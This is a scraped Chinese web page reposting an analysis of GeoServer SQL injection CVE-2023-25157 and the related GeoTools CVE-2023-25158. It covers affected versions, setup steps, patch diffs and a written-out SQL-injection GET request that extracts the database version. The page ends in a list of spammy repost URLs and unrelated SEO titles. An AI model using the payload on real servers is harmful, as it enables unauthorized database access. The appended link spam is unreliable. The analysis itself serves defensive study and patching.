当前位置: 首页 > news >正文

上海团购网站建设yahoo网站提交

上海团购网站建设,yahoo网站提交,店铺怎么做推广和宣传,门户网站建设必要性原创稿件征集 邮箱#xff1a;eduantvsion.com QQ#xff1a;3200599554 黑客与极客相关#xff0c;互联网安全领域里 的热点话题 漏洞、技术相关的调查或分析 稿件通过并发布还能收获 200-800元不等的稿酬 更多详情#xff0c;点我查看#xff01; 简介 GeoServer是一个开… 原创稿件征集 邮箱eduantvsion.com QQ3200599554 黑客与极客相关互联网安全领域里 的热点话题 漏洞、技术相关的调查或分析 稿件通过并发布还能收获 200-800元不等的稿酬 更多详情点我查看 简介 GeoServer是一个开源的地图服务器它是遵循OpenGIS Web服务器规范的J2EE实现通过它可以方便的将地图数据发布为地图服务实现地理空间数据在用户之间的共享。 影响版本 geoserver2.18.7 2.19.0geoserver2.19.7 2.20.0geoserver2.20.7 2.21.0geoserver2.21.4 2.22.0geoserver2.22.2 环境搭建 安装方式有多种可以选择 • windwos下载安装 https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download 下载后只需要指定端口直接下载可完成安装 • war包安装 tomcat下载地址 https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zip geoserver下载地址 https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip • 解压下载后的文件geoserver-2.15.1-war.zip得到geoserver.war• 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。• 启动tomcat 访问路径默认端口为8080端口根据自己的需求开放即可这里我开放的端口为8081 http://localhost:8081/geoserver/web/ 分析 POC下载链接 https://github.com/win3zz/CVE-2023-25157 python3 CVE-2023-25157.py http://localhost:8081 查看提交的补丁分析一下漏洞 https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d 修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块 属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义从而可能允许增强安全措施。NamedParameterJdbcTemplate是 Spring Framework 提供的一个类它添加了对使用命名参数对 JDBC 语句进行编程的支持而不是使用经典占位符 (?) 参数对 JDBC 语句进行编程 public ConfigDatabase(JDBCLoaderProperties properties,DataSource dataSource,XStreamInfoSerialBinding binding) {this(properties, dataSource, binding, null);}public ConfigDatabase(JDBCLoaderProperties properties,final DataSource dataSource,final XStreamInfoSerialBinding binding,CacheProvider cacheProvider) {this.properties  properties;this.binding  binding;this.template  new NamedParameterJdbcTemplate(dataSource); 通过使用参数化查询而不是字符串连接 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改 //sql.insert(0, SELECT * FROM (SELECT query.*, rownum rnum FROM (\n);//sql.append() query\n);sql.insert(0,SELECT * FROM (SELECT query.*, rownum rnum FROM ( (isDebugMode() ? \n : ));sql.append() query);appendIfDebug(sql, \n,  ); 修改了插入语法其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java 中定义 public boolean isDebugMode() {return debugMode;}public void setDebugMode(boolean debugMode) {this.debugMode  debugMode;}/** Escapes the contents of the SQL comment to prevent SQL injection. */public String escapeComment(String comment) {String escaped  ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll(*\\\\/);return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll(/\\\\*);}/** Appends the objects to the SQL in a comment if debug mode is enabled. */public StringBuilder appendComment(StringBuilder sql, Object... objects) {if (!debugMode) {return sql;}sql.append( /* );for (Object object : objects) {sql.append(escapeComment(String.valueOf(object)));}return sql.append( */\n);}/** Appends the objects to the SQL in an comment if debug mode is enabled. */public StringBuilder appendComment(Object sql, Object... objects) {return appendComment((StringBuilder) sql, objects);}/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {return sql.append(debugMode ? ifEnabled : ifDisabled);} 获取功能名POC GET /geoserver/ows?serviceWFSversion1.0.0requestGetCapabilities HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONIDnode0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 获取功能属性POC GET /geoserver/ows?servicewfsversion1.0.0requestGetFeaturetypeNamene:coastlinesmaxFeatures1outputFormatjson HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONIDnode0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 构造恶意payload GET /geoserver/ows?servicewfsversion1.0.0requestGetFeaturetypeNamene:coastlinesstrStartsWith%28scalerank%2C%27x%27%27%29%3Dtrueand1%3D%28SELECTCAST%28%28SELECTversion()%29ASINTEGER%29%29--%27%29%3Dtrue HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8 Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONIDnode0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 这里引用一张图geotools的注入漏洞 漏洞编号CVE-2023-25158,查看补丁发现 在类中添加该escapeBackslash字段modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java是一种预防措施可防止某些形式的 SQL 注入其中反斜杠字符用于转义 SQL 语法中的特殊字符 // single quotes must be escaped to have a valid sql stringString escaped  escapeLiteral(encoding); 调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号还转义反斜杠并可能根据其参数转义双引号 public static String escapeLiteral(String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {//  -- String escaped  SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll();if (escapeBackslash) {// \ -- \\escaped  BACKSLASH_PATTERN.matcher(escaped).replaceAll(\\\\\\\\);}if (escapeDoubleQuote) {//  -- \escaped  DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll(\\\\\);}return escaped; 至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章 https://blog.csdn.net/nmj2008/article/details/113869086 修复方案 • 升级安全版本目前已经有最新版本。 参考链接 https://github.com/0x2458bughunt/CVE-2023-25157https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d#diff-ad9c7486badfa75fbc4945fec56a8bb870a983363eb1f8c8fa39fc69589a6593https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7https://blog.csdn.net/nmj2008/article/details/113869086 原创稿件征集 征集原创技术文章中欢迎投递 投稿邮箱eduantvsion.com 文章类型黑客极客技术、信息安全热点安全研究分析等安全相关 通过审核并发布能收获200-800元不等的稿酬。 更多详情点我查看 九周年庆戳“阅读原文“
文章转载自:
http://www.morning.nynyj.cn.gov.cn.nynyj.cn
http://www.morning.wlggr.cn.gov.cn.wlggr.cn
http://www.morning.zwtp.cn.gov.cn.zwtp.cn
http://www.morning.smxyw.cn.gov.cn.smxyw.cn
http://www.morning.wkqrp.cn.gov.cn.wkqrp.cn
http://www.morning.qjlnh.cn.gov.cn.qjlnh.cn
http://www.morning.cokcb.cn.gov.cn.cokcb.cn
http://www.morning.sblgt.cn.gov.cn.sblgt.cn
http://www.morning.ntqnt.cn.gov.cn.ntqnt.cn
http://www.morning.rhkgz.cn.gov.cn.rhkgz.cn
http://www.morning.lxmks.cn.gov.cn.lxmks.cn
http://www.morning.rykn.cn.gov.cn.rykn.cn
http://www.morning.gnjkn.cn.gov.cn.gnjkn.cn
http://www.morning.jcfdk.cn.gov.cn.jcfdk.cn
http://www.morning.tfpbm.cn.gov.cn.tfpbm.cn
http://www.morning.tralution.cn.gov.cn.tralution.cn
http://www.morning.dgmjm.cn.gov.cn.dgmjm.cn
http://www.morning.mjtgt.cn.gov.cn.mjtgt.cn
http://www.morning.bmsqq.cn.gov.cn.bmsqq.cn
http://www.morning.gbcnz.cn.gov.cn.gbcnz.cn
http://www.morning.trjdr.cn.gov.cn.trjdr.cn
http://www.morning.dsncg.cn.gov.cn.dsncg.cn
http://www.morning.nfpct.cn.gov.cn.nfpct.cn
http://www.morning.crkmm.cn.gov.cn.crkmm.cn
http://www.morning.rglzy.cn.gov.cn.rglzy.cn
http://www.morning.tjsxx.cn.gov.cn.tjsxx.cn
http://www.morning.fcrw.cn.gov.cn.fcrw.cn
http://www.morning.rfrxt.cn.gov.cn.rfrxt.cn
http://www.morning.ctrkh.cn.gov.cn.ctrkh.cn
http://www.morning.ztcwp.cn.gov.cn.ztcwp.cn
http://www.morning.xsszn.cn.gov.cn.xsszn.cn
http://www.morning.qhvah.cn.gov.cn.qhvah.cn
http://www.morning.wsyst.cn.gov.cn.wsyst.cn
http://www.morning.tsycr.cn.gov.cn.tsycr.cn
http://www.morning.frpfk.cn.gov.cn.frpfk.cn
http://www.morning.pangucheng.cn.gov.cn.pangucheng.cn
http://www.morning.phlrp.cn.gov.cn.phlrp.cn
http://www.morning.wlfxn.cn.gov.cn.wlfxn.cn
http://www.morning.wjwfj.cn.gov.cn.wjwfj.cn
http://www.morning.xmwdt.cn.gov.cn.xmwdt.cn
http://www.morning.yngtl.cn.gov.cn.yngtl.cn
http://www.morning.kpfds.cn.gov.cn.kpfds.cn
http://www.morning.wjjxr.cn.gov.cn.wjjxr.cn
http://www.morning.c7513.cn.gov.cn.c7513.cn
http://www.morning.aishuxue.com.cn.gov.cn.aishuxue.com.cn
http://www.morning.frsxt.cn.gov.cn.frsxt.cn
http://www.morning.gwhjy.cn.gov.cn.gwhjy.cn
http://www.morning.lrprj.cn.gov.cn.lrprj.cn
http://www.morning.nmnhs.cn.gov.cn.nmnhs.cn
http://www.morning.pmdzd.cn.gov.cn.pmdzd.cn
http://www.morning.brwei.com.gov.cn.brwei.com
http://www.morning.lskrg.cn.gov.cn.lskrg.cn
http://www.morning.gmrxh.cn.gov.cn.gmrxh.cn
http://www.morning.qnhcx.cn.gov.cn.qnhcx.cn
http://www.morning.wnxqf.cn.gov.cn.wnxqf.cn
http://www.morning.spxsm.cn.gov.cn.spxsm.cn
http://www.morning.wlnr.cn.gov.cn.wlnr.cn
http://www.morning.prfrb.cn.gov.cn.prfrb.cn
http://www.morning.zqzzn.cn.gov.cn.zqzzn.cn
http://www.morning.fqljq.cn.gov.cn.fqljq.cn
http://www.morning.jstggt.cn.gov.cn.jstggt.cn
http://www.morning.mczjq.cn.gov.cn.mczjq.cn
http://www.morning.wyrkp.cn.gov.cn.wyrkp.cn
http://www.morning.bybhj.cn.gov.cn.bybhj.cn
http://www.morning.jkdtz.cn.gov.cn.jkdtz.cn
http://www.morning.zwgbz.cn.gov.cn.zwgbz.cn
http://www.morning.rknsp.cn.gov.cn.rknsp.cn
http://www.morning.rbsxf.cn.gov.cn.rbsxf.cn
http://www.morning.pshtf.cn.gov.cn.pshtf.cn
http://www.morning.rbsxf.cn.gov.cn.rbsxf.cn
http://www.morning.dxxnq.cn.gov.cn.dxxnq.cn
http://www.morning.cthrb.cn.gov.cn.cthrb.cn
http://www.morning.njpny.cn.gov.cn.njpny.cn
http://www.morning.rxsgk.cn.gov.cn.rxsgk.cn
http://www.morning.dxhdn.cn.gov.cn.dxhdn.cn
http://www.morning.hybmz.cn.gov.cn.hybmz.cn
http://www.morning.btmwd.cn.gov.cn.btmwd.cn
http://www.morning.xpfwr.cn.gov.cn.xpfwr.cn
http://www.morning.jcwhk.cn.gov.cn.jcwhk.cn
http://www.morning.qjtbt.cn.gov.cn.qjtbt.cn
http://www.tj-hxxt.cn/news/276738.html

相关文章:

  • 怎样免费建自己的网站青少年编程培训教育
  • 沈阳网站建设策划莱芜金点子招工招聘
  • 网站空间租用价格怀柔网站建设优化seo
  • 江苏省建设厅网站360优化大师app下载
  • php彩票网站建设源码海南旅游网网页制作
  • 上海网站设计要多少钱成都网站定制开发
  • php网站怎么做302玉林网站制作
  • 怎样用自己的电脑,做网站网页版传奇手游
  • 网站建设培训相关资料网站建设驻地开发合同
  • 营销网站制作企业十句经典广告语
  • 中国建设银行公司网站官网本地网站开发
  • 全景网站制作网站加速器
  • 四川网站推广河南郑州网站关键词排名系统
  • 网站关键词一般设置几个制作一个网站需要哪些人
  • 淄博网站的建设企业网站功效
  • 石狮市住房和城乡建设局网站微商城是什么
  • 没网站可以做百度推广吗企业手机网页设计
  • 网站建设实训心得3000字莱州市双语网站
  • 广州网站建站北京手机网站建设报价
  • 外部网站 同意加载福州营销型网站建设价格
  • 快速做效果图的网站叫什么区别商城网站模板建设
  • 苏州建网站哪家注册了网站之后怎么设计
  • 陕西做网站的公司电话微信网页制作的软件
  • 网站备案几天山东网站建设价格
  • 在原备案号下增加新网站wordpress调用oss
  • 电子商务网站计划书湘潭网站建设 磐石网络实惠
  • 网站问题seo解决方案wordpress底面有虚线这么办
  • 做外贸的网站平台有哪些内容seo网站推广目的
  • wap建站工具西部数码空间可以做会所网站吗
  • 用ps可以做网站吗重庆百度快照优化